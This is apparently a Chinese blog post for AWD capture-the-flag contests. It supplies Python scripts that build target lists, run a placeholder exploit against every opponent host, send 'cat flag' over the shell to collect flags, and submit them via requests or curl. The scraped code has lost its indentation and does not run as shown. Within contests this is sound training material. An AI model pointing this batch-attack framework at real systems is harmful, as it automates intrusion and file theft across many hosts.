AWD-pwn

在awd比赛中如果没有一个自动化批量打人和提交的脚本,那么将会十分的被动,甚至一轮都打不完全程,这里仿写了几个awd的批量脚本

初始化host

首先要根据比赛的特点初始化ip和端口,看看是对端口的映射还是ip的映射。并且根据映射规律初始化host表方便之后攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#端口映射对应的脚本

port = 9999
ip_body = '121.234.255.'
ip_start = 100
ip_end = 110
#以上信息都需要看情况改

with open("hosts", 'ab')as file:
for i in range(ip_start,ip_end+1):
IP = ip_body + str(i) + ':' + str(port) + '\n'
file.write(IP)
print("-------------------Success-------------------")


#ip映射对应的脚本

ip = '121.234.254.121'
port_start = 3440
port_end = 3450
#以上信息都需要看情况改

with open('hosts', 'ab')as file:
for i in range(port_start,port_end+1):
IP = ip + ':' +str(i) + '\n'
file.write(IP)
print("--------------------Success--------------------")

根据情况运行之后,得到一个host文件,里面的内容的格式是ip:port

1
2
1.0.0.0:123
1.0.0.0:234

批量攻击

实现批量攻击的思路是通过另一个程序去调用host文件,然后对不同的host开始攻击,并且把得到的flag写入flags文件,方便后期提交flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
import sys

def write_to_flags(d):
fd = open('./flags', 'ab')
fd.write(d + b'\n')
fd.close()

ip = server_ip = sys.argv[1].split(':')[0]
port = int(sys.argv[1].split(':')[1])
p = remote(ip, port)

'''

exp的内容

'''

p.sendline('cat flag')

#这里根据flag的具体形式改
p.recvuntil('{')
flag = 'flag{' + p.recvuntil('}')

write_to_flags(flag)
p.interactive()

这里还有一个缺点就是在打完一个靶机之后不能自动去打下一个,需要手动中断才能打下一个。这里可以用shell命令里的timeout命令来解决:

1
timeout -k 3s 4s python exp.py

允许程序运行4s,如果命令还没有结束,那么就在3s后kill掉进程,这样就可以代替掉手动ctrl+c的过程了。但是这里需要提前了解程序大概执行的时间。

1
2
3
4
5
6
7
8
9
10
11
import time

time_start = time.time() # 记录开始时间

'''
程序本身
'''

time_end = time.time() # 记录结束时间
time_sum = time_end - time_start # 计算的时间差为程序的执行时间,单位为秒/s
print(time_sum)

脚本运行结束之后,可以在flags文件里面找到得到flag

批量提交

思路就是读取出flag,然后根据主办方给的方式去提交,或者自己现场抓包分析提交。

可以用shell的curl命令提交有时候,或者用脚本进行提交。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os
import json
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

#:8000/flag?token=ab962bbf1207d41d3aad0f49cd320b95&flag=

url = 'http://121.248.253.234:8000'
flag_file = './flags'
header = {
'Cookie': 'none'
}

def submit():
with open('flags', 'r') as flag_txt:
flags = flag_txt.readlines()
for flag in flags:
flag = flag.strip()
d = ''
d += flag
print(d)
try:
res = requests.post(url,data=d,headers=header,timeout=2)
li(res.text)
except:
li('connect fail!')
continue
submit()

注意自己的cookie。

如果给的结构简单,那么可以使用

1
2
3
4
5
6
7
import os
with open('flags', 'r') as flag_txt:
flags = flag_txt.readlines()
for flag in flags:
flag = flag.strip()
command = "curl " + "网址/flag?token=ab962bbf1207d41d3aad0f49cd320b95&flag="+flag
os.system(command)

这里的curl命令需要根据它给的具体事项来确定